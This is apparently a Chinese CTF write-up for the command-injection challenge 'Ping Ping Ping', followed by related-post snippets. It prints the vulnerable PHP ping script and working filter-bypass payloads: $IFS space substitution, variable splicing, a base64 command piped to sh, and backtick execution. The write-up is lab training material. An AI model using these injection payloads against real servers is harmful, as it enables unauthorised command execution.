BUUctf [GXYCTF2019]Ping Ping Ping
根据题目和页面的提示猜测是命令执行漏洞
;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
这里尝试想|
/?ip=127.0.0.1|ls
发现成功执行下面有flag.php和index.php
尝试下直接cat查看一下flag.php
发现也没返回fxck your space!
通过这个提示知道过滤了空格
再次尝试发现没有过滤cat 但是过滤了flag
通过?ip=127.0.0.1|tac$IFS$1index.php查看一下index.php
发现不全中间下载源文件
/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "<pre>";print_r($a);
}
?>
绕过空格
IFS是指内部字段分隔符 $IFS是内部字段分隔符的缩写 简单而言就是空格
$IFS$1 //$1改成$加其他数字都行
创造变量绕过flag
使用;
;前面和后面命令都要执行,无论前面真假
通过;来构建一到两个变量 合并变量让他为flag
b=g
把flag中间的g换成变量$b 即fla$b
?ip=127.0.0.1;b=g;tac$IFS$1fla$b.php
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");
通过代码可以找到会匹配flag而只有先定义g g之前的匹配可以通过
base64 加解码
正如我们可以将过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。
得到dGFjIGZsYWcucGhw
?ip=127.0.0.1|echo$IFS$1dGFjIGZsYWcucGhw|base64$IFS$1-d|sh
内联执行
在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用tac$IFS$1`ls` 这个命令来输出flag了
BUUctf [GXYCTF2019]Ping Ping Ping相关推荐
- buuctf[GXYCTF2019]Ping Ping Ping
buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip=? 应该是提示用get的方式来传参一个地址执行p ...
- linux命令菜鸟ping,Linux ping命令
Linux ping命令 Linux ping命令用于检测主机. 执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常. 语 ...
- 复制vmware overLay网络无法ping通 ping www.baidu.com可以
因为忘记关闭防火墙了!!!!! 要永久关闭!! 修改hostname https://blog.csdn.net/qq_27327261/article/details/109100219 关闭 ...
- linux使用ping命令ping本机,Linux下使用ping命令判断网络的好坏
简介 在Linux系统里面如果想判断网络的好坏,脑海中蹦出的第一个命令就是ping了. ping命令基本是最常用的网络命令,它可以用来测试与目标主机的连通性. ping通过发送ICMP ECHO_RE ...
- 虚拟机ping网关ping不通
虚拟机ping网关ping不通,可能自己遇到的比较奇特,开始访问正常,过一段时间就不正常,分享一下解决办法: 首先ping同网段的可以ping的通,说明vmnet8的ipv4不和虚拟机配置的vmnet ...
- 全网超详细的如何Ping特定的端口号,比如telnet Ping,nc Ping,nmap Ping等
文章目录 1. 文章引言 2. ping特定端口 2.1 使用telnet ping特定端口 2.2 使用nc ping特定端口 2.3 使用nmap ping端口 2.4 使用Powershell ...
- C# ping命令,ping网络状态
Ping ping = new Ping(); PingReply pingReply = ping.Send("192.168.1.1"); //网络状态 if (pingRep ...
- BUUCTF [GXYCTF2019] 禁止套娃
题目分析 这题对我这个小白来说好难理解,慢慢补坑吧.PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通. 打开题目,只有如下: 看源码也没有什么东西,常见的信息泄露:robots ...
- BUUCTF | [GXYCTF2019]BabySQli
BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识 当=号被过滤了使用like,rlike绕过 当or被过滤了使用大小写绕过,双写绕过,&&绕过 二.实战化渗 ...
- BUUCTF [GXYCTF2019]Ping Ping Ping 1
[GXYCTF2019]Ping Ping Ping 1 在本题我们考察的是命令执行 已进入本关,我们发现他在询问 ?ip 我们先尝试输入 ?ip=127.0.0.1 发现访问成功 查询一下它的目录: ...
最新文章
- centos 安装 aria2 webui 实现网页下载
- java无阻塞执行脚本,JAVA调用Shell脚本-及阻塞的解决方法
- ffmpeg录制屏幕并推流ffmpeg+nginx-http-flv-module+flv.js
- git clone 某次提交前代码_git提交代码常用命令
- 戴尔R730 安装升级VMware vSphere Hypervisor (ESXi) 6.7
- js 的函数参数的默认值问题
- Markdown编辑器初步使用
- django1.6 mysql_如何在Django1.6结合Python3.4版本中使用MySql
- 手动删除Mac版迅雷无用的功能,让迅雷软件更清爽无广告纯粹下载
- oracle有rtf函数,Delphi中对Oracle存取RTF文档_Delphi
- Linux清理入侵痕迹
- win10 java不兼容_win10系统提示edge浏览器不兼容的解决方法
- 20220408-CH9121串口转以太网模块学习
- 【jzoj4826】【小澳的葫芦】【二分答案】
- 查找计算机硬件和软件的翻译工具,计算机软件和硬件,PC computer software and hardware,音标,读音,翻译,英文例句,英语词典...
- python读excel成数组_python 如何读取excel文件 将每一行存为数组/python读程序题
- 2020.4.5 xctf(mfw)②
- /?、//、/'……等等是一个字符
- Android 交流分享汇总
- c语言对称矩阵的压缩存储_C++实现对称矩阵的压缩存储 | 术与道的分享